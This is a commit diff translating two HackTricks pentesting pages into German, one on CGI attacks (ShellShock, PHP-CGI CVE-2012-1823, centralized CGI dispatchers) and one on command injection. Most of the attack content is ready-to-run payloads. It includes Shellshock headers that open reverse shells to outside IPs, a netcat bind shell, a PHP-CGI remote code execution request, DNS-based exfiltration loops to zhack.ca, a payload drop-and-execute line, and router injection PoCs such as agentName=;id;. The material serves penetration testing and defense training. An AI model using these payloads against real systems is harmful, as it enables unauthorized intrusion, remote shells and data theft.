Translated ['', 'src/pentesting-web/command-injection.md', 'src/network-

2025-10-10 18:36:50 +00:00 · 2025-10-04 10:00:51 +00:00 · 2025-10-04 10:00:51 +00:00 · 73f27ce19f
commit 73f27ce19f
parent e70ac2939f
2 changed files with 99 additions and 32 deletions
--- a/src/network-services-pentesting/pentesting-web/cgi.md
+++ b/src/network-services-pentesting/pentesting-web/cgi.md
@ -1,26 +1,30 @@
+# CGI Pentesting
+
 {{#include ../../banners/hacktricks-training.md}}

-# Informationen

-Die **CGI-Skripte sind Perl-Skripte**, daher, wenn Sie einen Server kompromittiert haben, der _**.cgi**_ Skripte ausführen kann, können Sie **eine Perl-Reverse-Shell hochladen** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), die **Erweiterung** von **.pl** in **.cgi** ändern, **Ausführungsberechtigungen** \(`chmod +x`\) geben und die Reverse-Shell **über den Webbrowser** aufrufen, um sie auszuführen. Um nach **CGI-Schwachstellen** zu suchen, wird empfohlen, `nikto -C all` \(und alle Plugins\) zu verwenden.
+## Informationen

-# **ShellShock**
+Die **CGI-Skripte sind Perl-Skripte**, daher kannst du, wenn du einen Server kompromittiert hast, der _**.cgi**_ Skripte ausführen kann, eine **perl reverse shell** hochladen (`/usr/share/webshells/perl/perl-reverse-shell.pl`), die **Erweiterung** von **.pl** zu **.cgi** ändern, **Ausführungsrechte** (`chmod +x`) setzen und die Reverse-Shell **vom Webbrowser aus** aufrufen, um sie auszuführen.
+Um auf **CGI vulns** zu testen, wird empfohlen `nikto -C all` \(und alle Plugins\) zu verwenden.

-**ShellShock** ist eine **Schwachstelle**, die die weit verbreitete **Bash**-Befehlszeilen-Shell in Unix-basierten Betriebssystemen betrifft. Sie zielt auf die Fähigkeit von Bash ab, von Anwendungen übergebene Befehle auszuführen. Die Schwachstelle liegt in der Manipulation von **Umgebungsvariablen**, die dynamische benannte Werte sind, die beeinflussen, wie Prozesse auf einem Computer ausgeführt werden. Angreifer können dies ausnutzen, indem sie **schadhafter Code** an Umgebungsvariablen anhängen, der beim Empfang der Variablen ausgeführt wird. Dies ermöglicht es Angreifern, das System potenziell zu kompromittieren.
+## **ShellShock**

-Durch das Ausnutzen dieser Schwachstelle könnte die **Seite einen Fehler ausgeben**.
+**ShellShock** ist eine **Schwachstelle**, die die weit verbreitete **Bash** Kommandozeile in Unix-basierten Betriebssystemen betrifft. Sie zielt auf die Fähigkeit von Bash ab, Befehle auszuführen, die von Anwendungen übergeben werden. Die Schwachstelle liegt in der Manipulation von **Umgebungsvariablen**, das sind dynamische benannte Werte, die beeinflussen, wie Prozesse auf einem Rechner laufen. Angreifer können dies ausnutzen, indem sie **bösartigen Code** an Umgebungsvariablen anhängen, der beim Empfangen der Variable ausgeführt wird. Dadurch können Angreifer potenziell das System kompromittieren.

-Sie könnten diese Schwachstelle finden, indem Sie feststellen, dass eine **alte Apache-Version** und **cgi_mod** \(mit cgi-Ordner\) verwendet wird oder indem Sie **nikto** verwenden.
+Beim Ausnutzen dieser Schwachstelle könnte die Seite einen Fehler ausgeben.

-## **Test**
+Du könntest diese Schwachstelle finden, indem du bemerkst, dass eine alte **Apache**-Version und **cgi_mod** \(mit einem cgi-Ordner\) verwendet werden, oder indem du **nikto** einsetzt.

-Die meisten Tests basieren darauf, etwas auszugeben und zu erwarten, dass dieser String in der Webantwort zurückgegeben wird. Wenn Sie denken, dass eine Seite anfällig sein könnte, suchen Sie nach allen CGI-Seiten und testen Sie diese.
+### **Test**
+
+Die meisten Tests basieren darauf, etwas zu echoen und zu erwarten, dass diese Zeichenkette in der Web-Antwort zurückkommt. Wenn du denkst, dass eine Seite verwundbar sein könnte, suche alle **cgi**-Seiten und teste sie.

 **Nmap**
 ```bash
 nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
 ```
-## **Curl \(reflektiert, blind und out-of-band\)**
+## **Curl \(reflected, blind und out-of-band\)**
 ```bash
 # Reflected
 curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
@ -33,7 +37,7 @@ curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http:
 ```bash
 python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
 ```
-## Exploit
+### Exploit
 ```bash
 #Bind Shell
 $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
@ -47,24 +51,57 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
 > set rhosts 10.1.2.11
 > run
 ```
-# **Proxy \(MitM zu Webserver-Anfragen\)**
+## Zentralisierte CGI-Dispatcher (Routing eines einzelnen Endpunkts über Selector-Parameter)

-CGI erstellt eine Umgebungsvariable für jeden Header in der HTTP-Anfrage. Zum Beispiel: "host:web.com" wird als "HTTP_HOST"="web.com" erstellt.
+Viele embedded Web-UIs bündeln Dutzende privilegierter Aktionen hinter einem einzelnen CGI-Endpunkt (zum Beispiel `/cgi-bin/cstecgi.cgi`) und verwenden einen Selector-Parameter wie `topicurl=<handler>`, um die Anfrage an eine interne Funktion zu routen.

-Da die HTTP_PROXY-Variable vom Webserver verwendet werden könnte, versuchen Sie, einen **Header** zu senden, der enthält: "**Proxy: &lt;IP_angreifer&gt;:&lt;PORT&gt;**" und wenn der Server während der Sitzung eine Anfrage durchführt, können Sie jede vom Server getätigte Anfrage erfassen.
+Vorgehensweise zur Ausnutzung dieser Router:

-# Alte PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
+- Enumerate handler names: JS/HTML scrapen, mit wordlists brute-forcen oder Firmware entpacken und mit grep nach Handler-Strings suchen, die vom Dispatcher verwendet werden.
+- Test unauthenticated reachability: einige Handler vergessen auth-Checks und sind direkt aufrufbar.
+- Focus on handlers that invoke system utilities or touch files; schwache Validatoren blockieren oft nur wenige Zeichen und übersehen möglicherweise das führende `-`.

-Grundsätzlich, wenn cgi aktiv ist und php "alt" \(&lt;5.3.12 / &lt; 5.4.2\) ist, können Sie Code ausführen. 
-Um diese Schwachstelle auszunutzen, müssen Sie auf eine PHP-Datei des Webservers zugreifen, ohne Parameter zu senden \(insbesondere ohne das Zeichen "="\). 
-Um diese Schwachstelle zu testen, könnten Sie beispielsweise auf `/index.php?-s` zugreifen \(beachten Sie das `-s`\) und **der Quellcode der Anwendung wird in der Antwort angezeigt**.
+Generische Exploit-Muster:
+```http
+POST /cgi-bin/cstecgi.cgi HTTP/1.1
+Content-Type: application/x-www-form-urlencoded

-Um **RCE** zu erhalten, können Sie diese spezielle Abfrage senden: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` und den **PHP-Code**, der im **Body der Anfrage** ausgeführt werden soll. 
-**Beispiel:**
+# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
+topicurl=<handler>&param=-n
+
+# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
+topicurl=setEasyMeshAgentCfg&agentName=;id;
+
+# 3) Validator bypass → arbitrary file write in file-touching handlers
+topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
+```
+Erkennung und Härtung:
+
+- Achte auf unauthentifizierte Requests an zentralisierte CGI-Endpunkte, bei denen `topicurl` auf sensitive Handler gesetzt ist.
+- Markiere Parameter, die mit `-` beginnen (argv option injection attempts).
+- Vendors: erzwinge Authentifizierung für alle zustandsverändernden Handler, validiere mittels strikten Allowlists/Typen/Längen und übergib niemals von Benutzern kontrollierte Strings als Kommandozeilen-Flags.
+
+## Altes PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
+
+Grundsätzlich: wenn CGI aktiv ist und PHP "alt" \(&lt;5.3.12 / &lt; 5.4.2\), kannst du Code ausführen.
+Um diese Schwachstelle auszunutzen, musst du auf eine PHP-Datei des Webservers zugreifen, ohne Parameter zu senden \(insbesondere ohne das Zeichen "="\).
+Um die Schwachstelle zu testen, könntest du zum Beispiel `/index.php?-s` aufrufen \(achte auf das `-s`\) und **der Quellcode der Anwendung wird in der Antwort erscheinen**.
+
+Um dann **RCE** zu erlangen, kannst du diese spezielle Anfrage senden: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` und der **PHP code** wird im **body of the request** ausgeführt.
+Beispiel:
 ```bash
 curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
 ```
-**Mehr Informationen über die Schwachstelle und mögliche Exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Beispiel**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
+**Mehr Infos über die vuln und möglichen exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**

+## **Proxy \(MitM to Web server requests\)**
+
+CGI legt für jeden header in der http request eine Umgebungsvariable an. Zum Beispiel: "host:web.com" wird zu "HTTP_HOST"="web.com"
+
+Da die HTTP_PROXY-Variable vom Webserver verwendet werden könnte, versuche einen **header** zu senden, der folgendes enthält: "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**". Führt der Server während der Session eine Anfrage aus, kannst du jede vom Server ausgeführte Anfrage abfangen.
+
+## **Referenzen**
+
+- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/pentesting-web/command-injection.md
+++ b/src/pentesting-web/command-injection.md
@ -4,11 +4,11 @@

 ## Was ist command Injection?

-Eine **command injection** erlaubt einem Angreifer die Ausführung beliebiger Betriebssystembefehle auf dem Server, der eine Anwendung hostet. Infolgedessen können die Anwendung und alle ihre Daten vollständig kompromittiert werden. Die Ausführung dieser Befehle ermöglicht dem Angreifer typischerweise, unautorisierten Zugriff auf die Umgebung der Anwendung und das zugrundeliegende System zu erlangen oder Kontrolle darüber zu übernehmen.
+Eine **command injection** ermöglicht einem Angreifer die Ausführung beliebiger Betriebssystembefehle auf dem Server, der eine Anwendung hostet. Infolgedessen können die Anwendung und alle ihre Daten vollständig kompromittiert werden. Die Ausführung dieser Befehle erlaubt dem Angreifer typischerweise, unautorisierten Zugriff zu erlangen oder Kontrolle über die Umgebung der Anwendung und das zugrunde liegende System zu übernehmen.

 ### Kontext

-Je nachdem, **wo deine Eingabe eingefügt wird**, musst du möglicherweise den **in Anführungszeichen stehenden Kontext beenden** (mit `"` oder `'`), bevor die Befehle ausgeführt werden.
+Je nachdem, **wo Ihre Eingabe injiziert wird**, müssen Sie möglicherweise den **zitierten Kontext beenden** (mit `"` oder `'`), bevor Sie die Befehle ausführen.

 ## Command Injection/Execution
 ```bash
@ -30,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
 > /var/www/html/out.txt #Try to redirect the output to a file
 < /etc/passwd #Try to send some input to the command
 ```
-### **Limition** Bypasses
+### **Einschränkungen** Bypasses

-Wenn Sie versuchen, **beliebige Befehle auf einer linux-Maschine** auszuführen, sollten Sie sich diese **Bypasses** ansehen:
+Wenn du versuchst, **arbitrary commands inside a linux machine** auszuführen, interessiert dich vielleicht das Lesen über diese **Bypasses:**


 {{#ref}}
@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
 ```
 ### Parameter

-Hier sind die Top-25-Parameter, die für code injection und ähnliche RCE-Schwachstellen anfällig sein könnten (aus [link](https://twitter.com/trbughunters/status/1283133356922884096)):
+Hier sind die Top-25-Parameter, die für code injection und ähnliche RCE vulnerabilities anfällig sein könnten (von [link](https://twitter.com/trbughunters/status/1283133356922884096)):
 ```
 ?cmd={payload}
 ?exec={payload}
@ -91,7 +91,7 @@ sys 0m0.000s
 ```
 ### DNS based data exfiltration

-Basierend auf dem Tool von `https://github.com/HoLyVieR/dnsbin`, ebenfalls gehostet unter dnsbin.zhack.ca
+Basierend auf dem Tool von `https://github.com/HoLyVieR/dnsbin`, das auch unter dnsbin.zhack.ca gehostet wird
 ```
 1. Go to http://dnsbin.zhack.ca/
 2. Execute a simple 'ls'
@ -101,7 +101,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
 ```
 $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
 ```
-Online-Tools zur Überprüfung von DNS-basierter Datenexfiltration:
+Online-Tools zur Überprüfung von DNS based data exfiltration:

 - dnsbin.zhack.ca
 - pingb.in
@ -122,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad

 ### Node.js `child_process.exec` vs `execFile`

-Beim Audit von JavaScript/TypeScript-Backends stößt man häufig auf die Node.js `child_process`-API.
+Beim Prüfen von JavaScript/TypeScript-Backends stößt man häufig auf die Node.js `child_process`-API.
 ```javascript
 // Vulnerable: user-controlled variables interpolated inside a template string
 const { exec } = require('child_process');
@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
 /* … */
 });
 ```
-`exec()` startet eine **shell** (`/bin/sh -c`), daher führt jedes Zeichen, das für die shell eine spezielle Bedeutung hat (back-ticks, `;`, `&&`, `|`, `$()`, …) zu **command injection**, wenn Benutzereingaben in den String eingefügt werden.
+`exec()` startet eine **shell** (`/bin/sh -c`), daher führt jedes Zeichen, das für die shell eine spezielle Bedeutung hat (back-ticks, `;`, `&&`, `|`, `$()`, …), zu **command injection**, wenn Benutzereingaben in den String verkettet werden.

-**Gegenmaßnahme:** Verwende `execFile()` (oder `spawn()` ohne die `shell`-Option) und übergebe **jedes Argument als separates Array-Element**, damit keine shell beteiligt ist:
+**Gegenmaßnahme:** verwende `execFile()` (oder `spawn()` ohne die `shell`-Option) und übergib **jedes Argument als separates Array-Element**, damit keine shell beteiligt ist:
 ```javascript
 const { execFile } = require('child_process');
 execFile('/usr/bin/do-something', [
@ -140,9 +140,38 @@ execFile('/usr/bin/do-something', [
 '--payload', JSON.stringify(payload)
 ]);
 ```
-Echter Fall: *Synology Photos* ≤ 1.7.0-0794 war über ein unauthentifiziertes WebSocket-Ereignis ausnutzbar, das vom Angreifer kontrollierte Daten in `id_user` platzierte, die später in einem `exec()`-Aufruf eingebettet wurden und RCE ermöglichten (Pwn2Own Ireland 2024).
+Praxisfall: *Synology Photos* ≤ 1.7.0-0794 war ausnutzbar durch ein unauthentifiziertes WebSocket-Ereignis, das vom Angreifer kontrollierte Daten in `id_user` platzierte, die später in einem `exec()`-Aufruf eingebettet wurden, wodurch RCE erreicht wurde (Pwn2Own Ireland 2024).

-## Brute-Force Erkennungsliste
+### Argument-/Option-Injektion durch führenden Bindestrich (argv, no shell metacharacters)
+
+Nicht alle Injektionen erfordern shell Metazeichen. Wenn die Anwendung untrusted Strings als Argumente an ein System-Utility übergibt (selbst mit `execve`/`execFile` und ohne shell), werden viele Programme weiterhin jedes Argument, das mit `-` oder `--` beginnt, als Option interpretieren. Dadurch kann ein Angreifer Modi umschalten, Ausgabeziele ändern oder gefährliches Verhalten auslösen, ohne jemals eine shell zu erreichen.
+
+Typische Orte, an denen das vorkommt:
+
+- Eingebettete Web-UIs/CGI-Handler, die Befehle wie `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, etc. bauen.
+- Zentralisierte CGI-Router (z. B. `/cgi-bin/<something>.cgi` mit einem Selector-Parameter wie `topicurl=<handler>`), bei denen mehrere Handler denselben schwachen Validator wiederverwenden.
+
+Was zu versuchen ist:
+
+- Werte angeben, die mit `-`/`--` beginnen, damit das nachgelagerte Tool sie als Flags konsumiert.
+- Flags missbrauchen, die Verhalten ändern oder Dateien schreiben, zum Beispiel:
+- `ping`: `-f`/`-c 100000` um das Gerät zu belasten (DoS)
+- `curl`: `-o /tmp/x` um beliebige Pfade zu schreiben, `-K <url>` um vom Angreifer kontrollierte Konfiguration zu laden
+- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` um nach der Rotation Ausführung in unsicheren Wrappern zu erreichen
+- Wenn das Programm `--` (End-of-options) unterstützt, versuchen naive Gegenmaßnahmen zu umgehen, die `--` an der falschen Stelle einfügen.
+
+Generische PoC-Muster gegen zentralisierte CGI-Dispatcher:
+```
+POST /cgi-bin/cstecgi.cgi HTTP/1.1
+Content-Type: application/x-www-form-urlencoded
+
+# Flip options in a downstream tool via argv injection
+topicurl=<handler>&param=-n
+
+# Unauthenticated RCE when a handler concatenates into a shell
+topicurl=setEasyMeshAgentCfg&agentName=;id;
+```
+## Brute-Force-Erkennungsliste


 {{#ref}}
@ -157,5 +186,6 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
 - [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
 - [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
 - [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
+- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)

 {{#include ../banners/hacktricks-training.md}}